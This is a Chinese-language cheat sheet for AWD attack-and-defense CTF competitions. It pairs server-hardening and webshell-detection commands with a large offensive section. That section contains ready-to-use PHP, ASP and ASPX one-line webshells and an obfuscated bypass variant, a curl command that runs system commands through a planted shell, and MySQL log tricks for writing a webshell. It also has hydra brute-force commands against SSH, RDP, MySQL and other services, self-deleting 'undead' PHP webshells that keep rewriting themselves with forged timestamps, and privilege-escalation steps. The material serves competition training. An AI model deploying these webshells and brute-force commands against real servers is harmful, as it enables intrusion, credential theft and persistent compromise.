「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。
在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。
主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。
SSH
或者 VNC
的用户名和密码,还有相关IP等信息通常比赛环境有以下三种情况:
Windows 10
+ 攻击机 Kali Linux
+ Win靶机 Windows Server 2003/2008/2012
或者 Windows 7
+ Linux靶机 Centos7.x
或者 Ubuntu 16.04/17.01/20.04
Windows 10
+ 攻击机 Kali Linux
+ Linux靶机 Centos7.x
或者 Ubuntu 16.04/17.01/20.04
Windows 10
+ 攻击机 Kali Linux
+ Win靶机 Windows Server 2003/2008/2012
或者 Windows 7
先备份:Web源码、数据库
先备份:Web源码、数据库
.bash_history
查找历史命令操作,发现痕迹crontab -l
;编辑计划任务:crontab -e
/etc/init.d/rc.local
中启动服务有无异常在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”
uname -a //系统信息
ps -aux //查询进程信息
ps -ef | grep 进程名称 //筛选指定进程
id //用于显示用户ID,以及所属群组ID
cat /etc/passwd
whoami /all //Windows上查看用户详细信息
ipconfig /all //Windows上查看网卡信息
netstat //查看活动连接
netstat -ano/-a //查看端口情况
netstat -anp //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent
为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456
还有其他默认密码admin,top100, top1000等
尤其是WEB应用的后台密码修改
passwd username //ssh口令修改
set password for mycms@localhost = password('18ciweufhi28746');
grep -r "flag" /var/www/html/ //Linux:在Web目录下查找flag
findstr /s /i "flag" *.* //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all //关闭禁ping
防止在对源码进行修改时出问题,或者被攻击方删除源码而准备
压缩源码:
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
解压缩源码:
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
上传和下载源码:
scp username@servername:/path/filename /tmp/local_destination //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir //从本地上传整个目录到服务器
对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)
chmod 0555 /var/www/html/*
chmod 0555 /var/www/html/*.php
Web根目录设置只读和执行权限
chmod 0555 /var/www/html
改变文件的属主和属组来设置严格的权限
chown -R root:root /var/www/html/ //设置拥有人为 root:root 或 httpd:httpd (推荐)
chown -R apache:apache /var/www/html/ //确保 apache 拥有 /var/www/html/
.htaccess
利用 .htaccess
配置文件禁止php文件执行
<Directory "/var/www/html/upload"> //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None
首先找到PHP的配置文件
/etc/php/{version}/php.ini
禁用高危函数
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置 open_basedir
(将用户访问文件的活动范围限制在指定的区域)
open_basedir=/var/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)
magic_quotes_gpc = Off
关闭PHP伪协议
allow_url_fopen = Off
allow_url_include = Off
重启PHP
sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service
为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456
bind-address=127.0.0.1
;在配置文件中加入 seccure_file_priv=NULL
general_log_file=
路径因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
mysqldump –all -databases > all.sql
导入数据库:
mysql –u username –p password database < from.sql
对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html
MySQL默认配置文件路径:
C:\\Program Files\MySQL\MySQLServer 5.1\my.ini //Windows
/etc/my.cnf //Linux
/etc/mysql/my.cnf //Linux
修改 secure_file_priv
参数(日志功能的对应目录)
secure_file_priv=""
重载MySQL配置
FLUSH PRIVILEGES
重启MySQL服务
sudo service mysql restart
sudo systemctl restart mysql
限制IP登录方法
sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件
AllowUsers username@192.168.0.100
禁用 root
远程登录
sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件
PermitRootLogin no //将PermitRootLogi设置为“no”
按用户和组限制SSH登录
sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件
AllowUsers testuser //设置只允许 testuser 登录SSH
AllowUsers testuser@192.168.1.100
重启SSH服务
sudo service sshd restart
sudo systemctl restart sshd.service
删除默认帐户并手动添加新用户:
Win + R
打开运行对话框,输入 secpol.msc
并单击 “确定”更改默认RDP端口号:
regedit
并单击 “确定”HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
,向下滚动并找到 PortNumber
然后双击它netstat
ps -aux
netstat -apt
kill -9 pid //Linux上
taskkill /f /pid pid //Windows上
find /var/www/html -name *.php -mmin -5 //查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u //寻找行数最短文件,一般有可能是一句话木马
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html
也可以利用命令自动进行查找删除
ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
然后重启服务
service php-fpm restart
老规矩查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意 www-data
权限的 /bin/sh
,很有可能是nc
再就是上老一套命令
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'
Nmap
namp -sn 192.168.0.0/24
httpscan
httpscan.py 192.168.0.0/24 –t 10
nmap -sV 192.168.0.2 //扫描主机系统版本
nmap -sS 192.168.0.2
Python脚本
import requests
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:
备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破
常见一句话木马
PHP: <?php @eval($_POST['pass']);?> <?php eval($_GET['pass']);
Asp: <%eval request ("pass")%>
Aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
Get型木马
<?php eval($_GET['pass']);
免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
隐藏的文件读取
<?php
header(php'flag:'.file_get_contents('/flag'));
条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现
curl(跟hackbar差不多)
C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
//向shell.php文件里传入参数并返回结果
Python多端口传参
#coding=utf-8
import requests
url_head="http://192.168.182.130" #网段
url=""
shell_addr="/upload/url/shell.php"
具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html
1、查看MySQL版本
show variables like '%version%';
select version(); #这个只显示MySQL版本号
2、查看 load_file()
开启状态
show variables like '%secure%'; #这条可查看详细信息
show global variables like '%secure_file_priv%';
3、查看日志功能是否开启和对应目录
SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑
# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现
小技巧:获取MySQL账户和对应密码Hash
# MySQL <= 5.6 版本
select host, user, password from mysql.user;
# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
爆破SSH密码
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40 //40是⽬标服务开放的端⼝
爆破FTP密码
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/
爆破RDP远程桌面密码
hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V
爆破Telnet
hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V
爆破MSSQL数据库
hydra -l sa -P 密码字典.txt 目标IP地址 mssql
爆破MySQL数据库
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql
简单不死马:
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);
可以通过不断复写 shell.php
来达到该木马难以被使用的效果
防连接不死马:
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1);
进阶不死马:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 09:10:12" shell.php');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php
的WebShell文件
双重不死马:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 18:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
usleep(5000);
}
?>
浏览器访问写入的WebShell,会自动生成两个不死马: .login.php
和 /admin/.register.php
组件检索
find / -name "apaech2.conf" //检索Apache主配置文件
find / -name "nginx.conf" //检索Nginx目录
find / -path "*nginx*" -name nginx*conf
网站首页
find / -name "index.php" //定位网站目录
find / -name "index.html" //定位网站目录
日志文件检索
/var/log/nginx/ //默认Nginx日志目录
/var/log/apache/ //默认Apache日志目录
/var/log/apache2/
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息命令:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量命令:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
这里列举一些可用利用的提权漏洞:
Kali命令查询:
searchsploit CentOS 7
searchsploit Ubuntu 16.04
提权Exploit寻找:
编译提权Exp
gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall
直接提权,确认权限:
cat /etc/shadow
其他提权姿势:https://www.freebuf.com/articles/system/244627.html
这里列举一些Windows的漏洞:
MS17-017(整型溢出漏洞)